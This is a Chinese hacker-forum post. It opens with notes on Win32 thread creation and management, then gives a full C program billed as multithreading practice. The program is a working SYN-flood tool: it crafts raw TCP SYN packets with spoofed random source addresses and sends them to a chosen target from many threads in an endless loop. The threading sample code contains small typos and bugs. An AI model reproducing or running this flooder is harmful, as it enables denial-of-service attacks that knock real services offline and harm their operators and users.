文章作者：邪恶八进制·xuanliang[E.S.T]
信息来源：邪恶八进制 中国
线程由两部分构成.线程的内核对象和线程堆栈
lpsa 安全属性结构
cbStack 新线程堆栈的字节数.为0将默认为主线程的堆栈大小.堆栈的默认大小是父进程的堆栈大小,正常情况下是1MB
lpStackAddr 指向在调用进程内要执行的函数.这个函数接受一个单指针参数并返回一个32为DWORD退出码.线程可以将参数解释成一个DWORD或一个指针.该线程函数形式如下: DWORD WINAPI
ThreadFunc (LPVOID)
lpthreadParm是作为线程参数传归的指针.它被线程所解释.通常是一个指向参数结构的指针.
fdwCreate 如果为0就表示线程已经准备好.可以立即运行.如果fdwCreate为CREATE_SUSPENDED,新线程会处于挂起状态,这时需要使用ResumeThread函数调用将线程转换到准备完毕的状态.
lpIDThread 指向一个接收新线程标识的DWORD类型.
GetCurrentThread 返回调用线程的一个不可继承的伪句柄
GetCurrentThreadID 是线程的ID
suspend count 线程挂起记数器.在记数器为0的时候线程才能运行.一个线程可以使用SuspendThread和ResumeThread来增加和减少另一个线程的挂起记数器.计数器为1的时候线程以挂起状态
被创建.DWORD ResumeThread (HANDLE hThread)
DWORD SuspendThread (HANDLE hThread) 0xFFFFFFFF表示失败
WaitForSingleObject或WaitForMultipleObjects等待一个单线程终止.要以线程的句柄做为参数.WaitForMultipleObjects每次只能等待64个句柄.
还是关于lpStackAddr.在进程中创建一个辅助线程,它必定也是个进入点函数.类似的
DWORD WINAPI ThreadFunc(PVOID pvParam) {
DWORD dwResult=0;
.
.
return (dwResult);
}
最终线程函数到达它的结尾并且返回.线程终止运行.堆栈的内存被释放.同时线程的内核对象使用的使用计数被递减.如果为0,线程的内核对象就被撤消.线程函数的入口点可以使用任何名字.
线程函数应该尽可能使用函数参数和局部变量.
DWORD WINAPI FirstThread(PVOID pvParam) {
int x=0;
DWORD dwThreadID();
HANDLE hThread=CreateThread(NULL,0,SecondThread,(PVOID) &x,0, &dwThreadId);
closeHandle(hThread);
return(0);
}
DWORD WINAPI SecondThread(PVOID pvParam) {
//do some
*((int *) pvParam)=5;
.
.
return(0);
}
参考资料:
<<windows核心编程>>
<<win32系统编程>>
写个简单的发包程序练习多线程
复制内容到剪贴板
代码:
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
SOCKET g_Sock;
SOCKADDR_IN g_Addr;
//定义IP首部
typedef struct ip_head
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IPHEADER;
//定义TCP首部
typedef struct tcp_head
{
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCPHEADER;
//定义TCP伪首部
typedef struct tsd_head
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}PSDHEADER;
//计算校验和
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
void usage()
{
printf("-----------------------------------------------------------\n");
printf("Test CreateThread\n");
printf("Useage:Target_ip Target_port Thread_num \n");
printf("-----------------------------------------------------------\n");
}
//MakeThread
int MakeThread( LPVOID pPara )
{
char *SendBuf = NULL;
int PacketSize = 0,
AddrSize = 0;
SendBuf = (char *)pPara;
PacketSize = sizeof(IPHEADER)+sizeof(TCPHEADER);
AddrSize = sizeof(SOCKADDR_IN);
while(1)
{
if ( sendto(g_Sock,
SendBuf,
PacketSize,
0,
(struct sockaddr*)&g_Addr,
AddrSize) == SOCKET_ERROR )
{
printf( "send error %d!", GetLastError() );
return false;
}
}
}
int main(int argc, char* argv[])
{
WSADATA WSAData;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;
int SourcePort;
char SendBuf[60]={0};
BOOL flag;
int nTimeOver;
int ThreadNUM;
HANDLE ThreadHandle = NULL;
int i;
int CurrentThread=0;
if (argc!=4)
{
usage();
return false;
}
if (atoi(argv[3]) > 50)
{
printf("u'd better choose 10 thread");
}
else
ThreadNUM=atoi(argv[3]);
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
{
printf("WSAStartup Error!");
return false;
}
if ((g_Sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
printf("Socket Setup Error!");
return false;
}
flag=true;
if (setsockopt(g_Sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
{
printf("setsockopt IP_HDRINCL error!");
return false;
}
//设置发送时间
nTimeOver=1000;
if (setsockopt(g_Sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR)
{
printf("setsockopt SO_SNDTIMEO error!");
return false;
}
g_Addr.sin_family=AF_INET;
g_Addr.sin_port=htons(atoi(argv[2]));
g_Addr.sin_addr.S_un.S_addr=inet_addr(argv[1]);
//填充IP首部
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=(unsigned char)GetTickCount()%87+123;
ipHeader.proto=IPPROTO_TCP; // 协议类型为 TCP
ipHeader.checksum=0;
ipHeader.sourceIP=htonl(GetTickCount()*474695);
ipHeader.destIP=inet_addr(argv[1]);
//填充TCP首部
SourcePort=GetTickCount()*43557%9898;
tcpHeader.th_sport=htons(SourcePort);
tcpHeader.th_dport=htons(atoi(argv[2]));
tcpHeader.th_seq=htonl(0x12345678);
tcpHeader.th_ack=0;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2; //SYN
tcpHeader.th_win=htons(512);
tcpHeader.th_urp=0;
tcpHeader.th_sum=0;
//填充TCP伪首部用来计算TCP头部的效验和
psdHeader.saddr=ipHeader.sourceIP;
psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
//计算校验和
memcpy(SendBuf, &psdHeader, sizeof(psdHeader));
memcpy(SendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT *)SendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(SendBuf, &ipHeader, sizeof(ipHeader));
memcpy(SendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
//创建线程
for (i=0;i<ThreadNUM;i++)
{
ThreadHandle=CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MakeThread, (LPVOID)SendBuf ,0, NULL);
if (ThreadHandle == NULL)
{
printf("createthread fail:%x",WSAGetLastError());
}
else
{
CurrentThread++;
printf("Thread %-3dAttack...\n",i);
//CloseHandle(ThreadHandle);
}
}
WaitForSingleObject(ThreadHandle,INFINITE);
closesocket(g_Sock);
WSACleanup();
return 0;
}
